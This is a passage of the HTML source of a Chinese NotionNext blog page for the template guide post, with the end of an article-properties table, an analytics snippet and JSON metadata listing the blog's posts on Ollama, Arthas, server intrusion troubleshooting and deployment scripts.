class="notion-link" href="https://fontawesome.com/v6/search">图标库地址</a></div></td></tr><tr class="notion-simple-table-row notion-block-553d4bf0c75445d898daa76da2d494bc"><td class="" style="width:116.99479675292969px"><div class="notion-simple-table-cell"><code class="notion-inline-code">password</code></div></td><td class="" style="width:46.989585876464844px"><div class="notion-simple-table-cell"> 否</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell"> 文章加锁</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell"> 需要输入密码才允许访问</div></td></tr></tbody></table><div class="notion-blank notion-block-04b2e24c26684730a40a20a95985573b"> </div></div></main></div><div class="m-1 overflow-x-auto"><div class="flex w-full md:justify-end"></div></div><div class="flex justify-between"><div></div></div><section class="text-gray-800 dark:text-gray-400 h-12 flex items-center justify-between space-x-5 my-4"><a class="text-sm cursor-pointer justify-start items-center flex hover:underline duration-300" href="/article/example"><i class="mr-1 fas fa-angle-double-left"></i>示例文章</a><a class="text-sm cursor-pointer justify-end items-center flex hover:underline duration-300" href="/article/240325-ollama">mac体验ollama本地大模型<i class="ml-1 my-1 fas fa-angle-double-right"></i></a></section><div id="comment" class="comment mt-5 text-gray-800 dark:text-gray-300 "></div></section><div id="gitbook-toc-float" class="fixed top-0 right-0 z-40 md:hidden"><div class=" -mr-72 animate__slideOutRight overflow-y-hidden shadow-card w-60 duration-200 fixed right-1 bottom-16 rounded py-2 bg-white dark:bg-hexo-black-gray"><div class="dark:text-gray-400 text-gray-600 h-96 p-3"></div></div></div><div id="right-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="pt-10 pb-6 text-gray-400 text-sm border-b"><i class="fa-regular fa-clock mr-1"></i>Last update:  <!-- -->2021-07-02</div><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/guide","tags":["文字","推荐"],"summary":"\u003c- 点击标题OPEN按钮打开说明;请检查您的NOTION_PAGE_ID是否成功配置,否则会显示我的默认数据库内容。","title":"模板说明","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:48.431Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=4fae0653-be7f-4e10-91de-344f6c6d0a6b","pageCoverThumbnail":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=4fae0653-be7f-4e10-91de-344f6c6d0a6b\u0026width=800\u0026fmt=webp","tagItems":[{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"4fae0653-be7f-4e10-91de-344f6c6d0a6b":{"value":{"id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","version":7,"type":"page","content":["9c344479-39c1-43e6-82db-da1e457673b8","dfbfc243-3c10-4fa6-9afe-b7ea8e16c791","91069561-1f89-408e-ba39-87eb119ef85a","a0bcfc30-03ad-485c-8274-4dd1011c4373","35153d83-59d1-4af9-b986-53aa8573709e","4db6ff22-9486-468a-8f4e-651a0973869c","3dbdf851-118a-40f3-a713-d6477e7a71a9","2083ca79-572d-4541-a5c9-57585bd5c43e"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"e2e5b065-95c1-42a4-8650-7ad813b1a1d1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337114,"last_edited_time":1705630788431,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"e2e5b065-95c1-42a4-8650-7ad813b1a1d1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"9c344479-39c1-43e6-82db-da1e457673b8":{"value":{"id":"9c344479-39c1-43e6-82db-da1e457673b8","type":"header","properties":{"title":[["如何使用Notion编写文章"]]},"format":{"copied_from_pointer":{"id":"7f76ac38-a1ec-4eb0-9f2b-930be49bd548","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"7f76ac38-a1ec-4eb0-9f2b-930be49bd548"}},"dfbfc243-3c10-4fa6-9afe-b7ea8e16c791":{"value":{"id":"dfbfc243-3c10-4fa6-9afe-b7ea8e16c791","type":"text","properties":{"title":[["请访问教程获取帮助"]]},"format":{"copied_from_pointer":{"id":"05108037-289f-4633-bca4-2491caf39c16","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337143,"last_edited_time":1705594337143,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"05108037-289f-4633-bca4-2491caf39c16"}},"91069561-1f89-408e-ba39-87eb119ef85a":{"value":{"id":"91069561-1f89-408e-ba39-87eb119ef85a","type":"bookmark","properties":{"link":[["https://docs.tangly1024.com/article/start-to-write"]],"title":[["如何在Notion中开始写作 | NotionNext文档"]],"description":[["这是一个由NotionNext生成的站点"]]},"format":{"bookmark_icon":"https://docs.tangly1024.com/favicon.ico","copied_from_pointer":{"id":"9d4bcc86-6164-49b5-b9f7-da0238c6eae4","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337144,"last_edited_time":1705594337144,"parent_id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","parent_table":"block","alive":true,"copied_from":"9d4bcc86-6164-49b5-b9f7-da0238c6eae4"}},"a0bcfc30-03ad-485c-8274-4dd1011c4373":{"value":{"id":"a0bcfc30-03ad-485c-8274-4dd1011c4373","type":"bookmark","properties":{"link":[["https://docs.tangly1024.com/article/notion-short-key"]],"title":[["Notion快捷键 | 